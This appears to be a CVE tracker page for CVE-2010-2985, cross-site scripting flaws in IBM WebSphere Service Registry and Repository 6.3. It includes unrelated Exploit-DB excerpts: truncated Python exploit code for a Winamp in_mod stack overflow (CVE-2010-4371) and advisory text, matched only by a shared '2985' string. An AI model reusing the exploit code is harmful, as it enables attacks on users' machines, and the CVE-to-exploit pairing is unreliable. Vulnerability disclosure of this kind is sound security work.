CVE-2010-2985
published 2010-08-10CVE-2010-2985: Multiple cross-site scripting (XSS) vulnerabilities in IBM WebSphere Service Registry and Repository (WSRR) 6.3 allow remote attackers to inject arbitrary web…
PriorityP416medium4.3CVSS 2.0
AVNACMAuNCNIPAN
EPSS
1.07%
61.0th percentile
Multiple cross-site scripting (XSS) vulnerabilities in IBM WebSphere Service Registry and Repository (WSRR) 6.3 allow remote attackers to inject arbitrary web script or HTML via (1) the searchTerm parameter to ServiceRegistry/HelpSearch.do or (2) the queryItems[0].value parameter to ServiceRegistry/QueryWizardProcessStep1.do.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| ibm | websphere_service_registry_and_repository | — | — |
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Winamp 5.5.8.2985 (in_mod plugin) - Local Stack Overflow
exploitdb·2010-10-25
CVE-2010-4371 Winamp 5.5.8.2985 (in_mod plugin) - Local Stack Overflow
Winamp 5.5.8.2985 (in_mod plugin) - Local Stack Overflow
---
#!/usr/bin/python
# Pwn And Beans by Mighty-D and 7eK presents:
# Winamp 5.5.8.2985 (in_mod plugin) Stack Overflow
# A Script Kiddie Friendly Production
# WINDOWS XP SP3 FULLY PATCHED - NO ASLR OR DEP BYPASS... yet
# Bug found by http://www.exploit-db.com/exploits/15248/
# An improvement to http://www.exploit-db.com/exploits/15287/
# POC by fdisk
# MemMove Idea from: A.Gomez
# Exploit by Mighty-D and 7eK
# Special thanks to:
# fdisk: Who wrote the skeleton of what you are looking at
# Ryujin: For pointing the bug
# EDB-Team
# UdeA GITA SSI
import struct
def fill(shellcode):
nopsFaltantes = ((len(shellcode) / 40)+1)*40 - len(shellcode)
shellcode += '\x90'*nopsFaltantes
return shellcode
header = "\x4D\x54\x4D\x10\x63\x6C\x69
Exploit-DB
Winamp 5.5.8 (in_mod plugin) - Local Stack Overflow
exploitdb·2010-10-19
CVE-2010-4371 Winamp 5.5.8 (in_mod plugin) - Local Stack Overflow
Winamp 5.5.8 (in_mod plugin) - Local Stack Overflow
---
#!/usr/bin/python
# Pwn And Beans by Mighty-D presents:
# Winamp 5.5.8.2985 (in_mod plugin) Stack Overflow
# WINDOWS XP SP3 FULLY PATCHED - NO ASLR OR DEP BYPASS... yet
# Bug found by http://www.exploit-db.com/exploits/15248/
# POC by fdisk
# Exploit by Mighty-D
# Special thanks to:
# fdisk: Who wrote the skeleton of what you are looking at
# Ryujin: For pointing the bug
# Muts: For bringing the pain and the omelet ideas that weren't used
# dijital1 and All the EDB-Team
# The guys from UdeA, Ryepes, HerreraDavid, GomezRam7
# Just one comment: Stupid badchars!!!!!!!
header = "\x4D\x54\x4D\x10\x53\x70\x61\x63\x65\x54\x72\x61\x63\x6B\x28\x6B\x6F\x73\x6D\x6F\x73\x69\x73\x29\xE0\x00\x29\x39\x20\xFF\x1F\x00\x40\x0E"
header += "\x04\x0C"
Exploit-DB
Winamp 5.5.8.2985 - Multiple Buffer Overflows
exploitdb·2010-10-13
CVE-2010-4371 Winamp 5.5.8.2985 - Multiple Buffer Overflows
Winamp 5.5.8.2985 - Multiple Buffer Overflows
---
Source: http://aluigi.org/adv/winamp_1-adv.txt
#######################################################################
Luigi Auriemma
Application: Winamp
http://www.winamp.com
Versions: > 3);
C] integer overflow in in_midi
The in_midi plugin is affected by an heap overflow during the handling
of the hmp files (a format used in some old DOS games) where a
variable-length 32bit value is used for the copying of data with
memcpy() from the attacker's data to a heap buffer which has not been
reallocated for matching the needed size due to an integer overflow.
Doesn't seem possible to control the code execution.
D] buffer-overflow in in_mod
The in_mod plugin is affected by a stack overflow which happens during
the handling of a malforme
http://secunia.com/advisories/40862http://www-01.ibm.com/support/docview.wss?uid=swg1IZ75984http://www-01.ibm.com/support/docview.wss?uid=swg1IZ76926http://www.securityfocus.com/bid/42281http://secunia.com/advisories/40862http://www-01.ibm.com/support/docview.wss?uid=swg1IZ75984http://www-01.ibm.com/support/docview.wss?uid=swg1IZ76926http://www.securityfocus.com/bid/42281
2010-08-10
Published